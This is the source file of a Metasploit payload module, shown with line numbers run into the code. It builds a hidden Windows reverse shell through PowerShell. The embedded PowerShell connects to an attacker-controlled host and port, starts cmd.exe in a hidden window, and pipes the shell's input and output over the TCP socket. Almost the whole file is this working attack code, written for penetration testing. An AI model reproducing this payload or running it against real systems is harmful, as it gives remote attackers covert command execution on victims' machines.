Path: blob/master/modules/payloads/singles/cmd/windows/reverse_powershell.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 158878include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)',16'Description' => 'Connect back and create a command shell via Powershell',17'Author' => [18'Dave Kennedy', # Original payload from trustedsec on SET19'Ben Campbell' # Metasploit module20],21'References' => [22['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell']23],24# The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE25'License' => MSF_LICENSE,26'Platform' => 'win',27'Arch' => ARCH_CMD,28'Handler' => Msf::Handler::ReverseTcp,29'Session' => Msf::Sessions::CommandShell,30'PayloadType' => 'cmd',31'RequiredCmd' => 'powershell',32'Payload' => {33'Offsets' => {},34'Payload' => ''35}36)37)38register_advanced_options(39[40OptString.new('PowerShellPath', [true, 'The path to the PowerShell executable', 'powershell'])41]42)43end4445#46# Constructs the payload47#48def generate(_opts = {})49return super + command_string50end5152#53# Returns the command string to use for execution54#55def command_string56lhost = datastore['LHOST']57lport = datastore['LPORT']58powershell = %^59$a='#{lhost}';60$b=#{lport};61$c=New-Object system.net.sockets.tcpclient;62$nb=New-Object System.Byte[] $c.ReceiveBufferSize;63$ob=New-Object System.Byte[] 65536;64$eb=New-Object System.Byte[] 65536;65$e=new-object System.Text.UTF8Encoding;66$p=New-Object System.Diagnostics.Process;67$p.StartInfo.FileName='cmd.exe';68$p.StartInfo.RedirectStandardInput=1;69$p.StartInfo.RedirectStandardOutput=1;70$p.StartInfo.RedirectStandardError=1;71$p.StartInfo.UseShellExecute=0;72$q=$p.Start();73$is=$p.StandardInput;74$os=$p.StandardOutput;75$es=$p.StandardError;76$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);77$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);78$c.connect($a,$b);79$s=$c.GetStream();80while ($true) {81start-sleep -m 100;82if ($osread.IsCompleted -and $osread.Result -ne 0) {83$r=$os.BaseStream.EndRead($osread);84$s.Write($ob,0,$r);85$s.Flush();86$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);87}88if ($esread.IsCompleted -and $esread.Result -ne 0) {89$r=$es.BaseStream.EndRead($esread);90$s.Write($eb,0,$r);91$s.Flush();92$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);93}94if ($s.DataAvailable) {95$r=$s.Read($nb,0,$nb.Length);96if ($r -lt 1) {97break;98} else {99$str=$e.GetString($nb,0,$r);100$is.write($str);101}102}103if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) {104break;105}106if ($p.ExitCode -ne $null) {107break;108}109}110^.gsub!("\n", '')111112"#{datastore['PowerShellPath']} -w hidden -nop -c #{powershell}"113end114end115116117